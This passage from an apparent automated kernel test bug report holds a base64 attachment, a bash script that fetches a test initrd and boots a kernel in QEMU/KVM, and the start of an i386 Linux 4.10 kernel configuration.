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

--=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="reproduce-quantal-lkp-hsw01-20:20170306132653:i386-randconfig-i1-201710:4.10.0-rc2-00001-gad21fc4:1"

#!/bin/bash

kernel=$1
initrd=quantal-core-i386.cgz

wget --no-clobber https://github.com/fengguang/reproduce-kernel-bug/raw/master/initrd/$initrd

kvm=(
	qemu-system-x86_64
	-enable-kvm
	-cpu kvm64
	-kernel $kernel
	-initrd $initrd
	-m 512
	-smp 2
	-device e1000,netdev=net0
	-netdev user,id=net0
	-boot order=nc
	-no-reboot
	-watchdog i6300esb
	-watchdog-action debug
	-rtc base=localtime
	-serial stdio
	-display none
	-monitor null
)

append=(
	root=/dev/ram0
	hung_task_panic=1
	debug
	apic=debug
	sysrq_always_enabled
	rcupdate.rcu_cpu_stall_timeout=100
	net.ifnames=0
	printk.devkmsg=on
	panic=-1
	softlockup_panic=1
	nmi_watchdog=panic
	oops=panic
	load_ramdisk=2
	prompt_ramdisk=0
	drbd.minor_count=8
	systemd.log_level=err
	ignore_loglevel
	earlyprintk=ttyS0,115200
	console=ttyS0,115200
	console=tty0
	vga=normal
	rw
	drbd.minor_count=8
)

"${kvm[@]}" -append "${append[*]}"

--=_58bd374c.J3Hg7F/xfixvxDlduekC4sw75YkQEkERg00qVSlCOnSudHP3
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="config-4.10.0-rc2-00001-gad21fc4"

#
# Automatically generated file; DO NOT EDIT.
# Linux/i386 4.10.0-rc2 Kernel Configuration
#
# CONFIG_64BIT is not set
CONFIG_X86_32=y
CONFIG_X86=y
CONFIG_INSTRUCTION_DECODER=y
CONFIG_OUTPUT_FORMAT="elf32-i386"
CONFIG_ARCH_DEFCONFIG="arch/x86/configs/i386_defconfig"
CONFIG_LOCKDEP_SUPPORT=y
CONFIG_STACKTRACE_SUPPORT=y
CONFIG_MMU=y
CONFIG_ARCH_MMAP_RND_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_BITS_MAX=16
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MIN=8
CONFIG_ARCH_MMAP_RND_COMPAT_BITS_MAX=16
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_GENERIC_ISA_DMA=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_ARCH_MAY_HAVE_PC_FDC=y
CONFIG_RWSEM_XCHGADD_ALGORITHM=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_ARCH_HAS_CPU_RELAX=y
CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y
CONFIG_HAVE_SETUP_PER_CPU_AREA=y
CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y
CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y
CONFIG_ARCH_HIBERNATION_POSSIBLE=y
CONFIG_ARCH_SUSPEND_POSSIBLE=y
CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y
CONFIG_ARCH_WANT_GENERAL_HUGETLB=y
CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y
CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y
CONFIG_ARCH_SUPPORTS_UPROBES=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_PGTABLE_LEVELS=3
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
CONFIG_IRQ_WORK=y
CONFIG_BUILDTIME_EXTABLE_SORT=y
CONFIG_THREAD_INFO_IN_TASK=y

#
# General setup
#
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_CROSS_COMPILE=""
# CONFIG_COMPILE_TEST is not set
CONFIG_LOCALVERSION=""
CONFIG_LOCALVERSION_AUTO=y
CONFIG_HAVE_KERNEL_GZIP=y
CONFIG_HAVE_KERNEL_BZIP2=y
CONFIG_HAVE_KERNEL_LZMA=y
CONFIG_HAVE_KERNEL_XZ=y
CONFIG_HAVE_KERNEL_LZO=y
CONFIG_HAVE_KERNEL_LZ4=y
CONFIG_KERNEL_GZIP=y
# CONFIG_KERNEL_BZIP2 is not set
# CONFIG_KERNEL_LZMA is not set
# CONFIG_KERNEL_XZ is not set
# CONFIG_KERNEL_LZO is not set
# CONFIG_KERNEL_LZ4 is not set
CONFIG_DEFAULT_HOSTNAME="(none)"
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
# CONFIG_POSIX_MQUEUE is not set
# CONFIG_CROSS_MEMORY_ATTACH is not set
CONFIG_FHANDLE=y
CONFIG_USELIB=y
CONFIG_AUDIT=y
CONFIG_HAVE_ARCH_AUDITSYSCALL=y
CONFIG_AUDITSYSCALL=y
CONFIG_AUDIT_WATCH=y
CONFIG_AUDIT_TREE=y

#
# IRQ subsystem
#
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_GENERIC_IRQ_SHOW=y
CONFIG_GENERIC_IRQ_CHIP=y
CONFIG_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_HIERARCHY=y
CONFIG_GENERIC_MSI_IRQ=y
CONFIG_GENERIC_MSI_IRQ_DOMAIN=y
CONFIG_IRQ_DOMAIN_DEBUG=y
CONFIG_IRQ_FORCED_THREADING=y
CONFIG_SPARSE_IRQ=y
CONFIG_CLOCKSOURCE_WATCHDOG=y
CONFIG_ARCH_CLOCKSOURCE_DATA=y
CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y
CONFIG_GENERIC_TIME_VSYSCALL=y
CONFIG_GENERIC_CLOCKEVENTS=y
CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y
CONFIG_GENERIC_CMOS_UPDATE=y

#
# Timers subsystem
#
CONFIG_HZ_PERIODIC=y
# CONFIG_NO_HZ_IDLE is not set
# CONFIG_NO_HZ is not set
# CONFIG_HIGH_RES_TIMERS is not set

#
# CPU/Task time and stats accounting
#
CONFIG_TICK_CPU_ACCOUNTING=y
CONFIG_IRQ_TIME_ACCOUNTING=y
# CONFIG_BSD_PROCESS_ACCT is not set
# CONFIG_TASKSTATS is not set

#
# RCU Subsystem
#
CONFIG_TINY_RCU=y
# CONFIG_RCU_EXPERT is not set
CONFIG_SRCU=y
CONFIG_TASKS_RCU=y
# CONFIG_RCU_STALL_COMMON is not set
# CONFIG_TREE_RCU_TRACE is not set
# CONFIG_RCU_EXPEDITE_BOOT is not set
CONFIG_BUILD_BIN2C=y
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=17
CONFIG_NMI_LOG_BUF_SHIFT=13
CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y
CONFIG_CGROUPS=y
# CONFIG_MEMCG is not set
# CONFIG_BLK_CGROUP is not set
# CONFIG_CGROUP_SCHED is not set
# CONFIG_CGROUP_PIDS is not set
# CONFIG_CGROUP_FREEZER is not set
# CONFIG_CPUSETS is not set
# CONFIG_CGROUP_DEVICE is not set
# CONFIG_CGROUP_CPUACCT is not set
# CONFIG_CGROUP_PERF is not set
# CONFIG_CGROUP_BPF is not set
# CONFIG_CGROUP_DEBUG is not set
# CONFIG_CHECKPOINT_RESTORE is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
CONFIG_IPC_NS=y
CONFIG_USER_NS=y
CONFIG_PID_NS=y
CONFIG_NET_NS=y
# CONFIG_SCHED_AUTOGROUP is not set
# CONFIG_SYSFS_DEPRECATED is not set
CONFIG_RELAY=y
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_RD_GZIP=y
CONFIG_RD_BZIP2=y
CONFIG_RD_LZMA=y
CONFIG_RD_XZ=y
# CONFIG_RD_LZO is not set
# CONFIG_RD_LZ4 is not set
CONFIG_INITRAMFS_COMPRESSION=".gz"
# CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
CONFIG_ANON_INODES=y
CONFIG_HAVE_UID16=y
CONFIG_SYSCTL_EXCEPTION_TRACE=y
CONFIG_HAVE_PCSPKR_PLATFORM=y
CONFIG_BPF=y
# CONFIG_EXPERT is not set
CONFIG_UID16=y
CONFIG_MULTIUSER=y
CONFIG_SGETMASK_SYSCALL=y
CONFIG_SYSFS_SYSCALL=y
# CONFIG_SYSCTL_SYSCALL is not set
CONFIG_POSIX_TIMERS=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_ABSOLUTE_PERCPU is not set
CONFIG_KALLSYMS_BASE_RELATIVE=y
CONFIG_PRINTK=y
CONFIG_PRINTK_NMI=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_PCSPKR_PLATFORM=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_BPF_SYSCALL=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_ADVISE_SYSCALLS=y
# CONFIG_USERFAULTFD is not set
CONFIG_PCI_QUIRKS=y
CONFIG_MEMBARRIER=y
# CONFIG_EMBEDDED is not set
CONFIG_HAVE_PERF_EVENTS=y

#
# Kernel Performance Events And Counters
#
CONFIG_PERF_EVENTS=y
# CONFIG_DEBUG_PERF_USE_VMALLOC is not set
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_COMPAT_BRK=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SYSTEM_DATA_VERIFICATION is not set
CONFIG_PROFILING=y
CONFIG_TRACEPOINTS=y
CONFIG_OPROFILE=m
CONFIG_OPROFILE_EVENT_MULTIPLEX=y
CONFIG_HAVE_OPROFILE=y
CONFIG_OPROFILE_NMI_TIMER=y
# CONFIG_KPROBES is not set
CONFIG_JUMP_LABEL=y
# CONFIG_STATIC_KEYS_SELFTEST is not set
# CONFIG_UPROBES is not set
# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set
CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y
CONFIG_ARCH_USE_BUILTIN_BSWAP=y
CONFIG_HAVE_IOREMAP_PROT=y
CONFIG_HAVE_KPROBES=y
CONFIG_HAVE_KRETPROBES=y
CONFIG_HAVE_OPTPROBES=y
CONFIG_HAVE_KPROBES_ON_FTRACE=y
CONFIG_HAVE_NMI=y
CONFIG_HAVE_ARCH_TRACEHOOK=y
CONFIG_HAVE_DMA_CONTIGUOUS=y
CONFIG_GENERIC_SMP_IDLE_THREAD=y
CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y
CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y
CONFIG_HAVE_CLK=y
CONFIG_HAVE_DMA_API_DEBUG=y
CONFIG_HAVE_HW_BREAKPOINT=y
CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y
CONFIG_HAVE_USER_RETURN_NOTIFIER=y
CONFIG_HAVE_PERF_EVENTS_NMI=y
CONFIG_HAVE_PERF_REGS=y
CONFIG_HAVE_PERF_USER_STACK_DUMP=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y
CONFIG_HAVE_CMPXCHG_LOCAL=y
CONFIG_HAVE_CMPXCHG_DOUBLE=y
CONFIG_ARCH_WANT_IPC_PARSE_VERSION=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_HAVE_GCC_PLUGINS=y
# CONFIG_GCC_PLUGINS is not set
CONFIG_HAVE_CC_STACKPROTECTOR=y
CONFIG_CC_STACKPROTECTOR=y
# CONFIG_CC_STACKPROTECTOR_NONE is not set
CONFIG_CC_STACKPROTECTOR_REGULAR=y
# CONFIG_CC_STACKPROTECTOR_STRONG is not set
CONFIG_HAVE_ARCH_WITHIN_STACK_FRAMES=y
CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y
CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y
CONFIG_HAVE_ARCH_HUGE_VMAP=y
CONFIG_MODULES_USE_ELF_REL=y
CONFIG_ARCH_HAS_ELF_RANDOMIZE=y
CONFIG_HAVE_ARCH_MMAP_RND_BITS=y
CONFIG_HAVE_EXIT_THREAD=y
CONFIG_ARCH_MMAP_RND_BITS=8
CONFIG_HAVE_COPY_THREAD_TLS=y
# CONFIG_HAVE_ARCH_HASH is not set
# CONFIG_ISA_BUS_API is not set
CONFIG_CLONE_BACKWARDS=y
CONFIG_OLD_SIGSUSPEND3=y
CONFIG_OLD_SIGACTION=y
# CONFIG_CPU_NO_EFFICIENT_FFS is not set
# CONFIG_HAVE_ARCH_VMAP_STACK is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX is not set
# CONFIG_ARCH_OPTIONAL_KERNEL_RWX_DEFAULT is not set
CONFIG_ARCH_HAS_STRICT_KERNEL_RWX=y
CONFIG_DEBUG_RODATA=y
CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y
CONFIG_DEBUG_SET_MODULE_RONX=y

#
# GCOV-based kernel profiling
#
# CONFIG_GCOV_KERNEL is not set
CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y
CONFIG_HAVE_GENERIC_DMA_COHERENT=y
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
# CONFIG_MODULE_UNLOAD is not set
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
# CONFIG_MODULE_SIG is not set
# CONFIG_MODULE_COMPRESS is not set
CONFIG_MODULES_TREE_LOOKUP=y
CONFIG_BLOCK=y
CONFIG_LBDAF=y
CONFIG_BLK_DEV_BSG=y
CONFIG_BLK_DEV_BSGLIB=y
CONFIG_BLK_DEV_INTEGRITY=y
CONFIG_BLK_DEV_ZONED=y
# CONFIG_BLK_CMDLINE_PARSER is not set
# CONFIG_BLK_WBT is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_EFI_PARTITION=y
CONFIG_BLK_MQ_PCI=y

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=m
# CONFIG_DEFAULT_DEADLINE is not set
CONFIG_DEFAULT_NOOP=y
CONFIG_DEFAULT_IOSCHED="noop"
CONFIG_ASN1=y
CONFIG_UNINLINE_SPIN_UNLOCK=y
CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y
CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y
CONFIG_ARCH_USE_QUEUED_RWLOCKS=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
CONFIG_ZONE_DMA=y
# CONFIG_SMP is not set
CONFIG_X86_FEATURE_NAMES=y
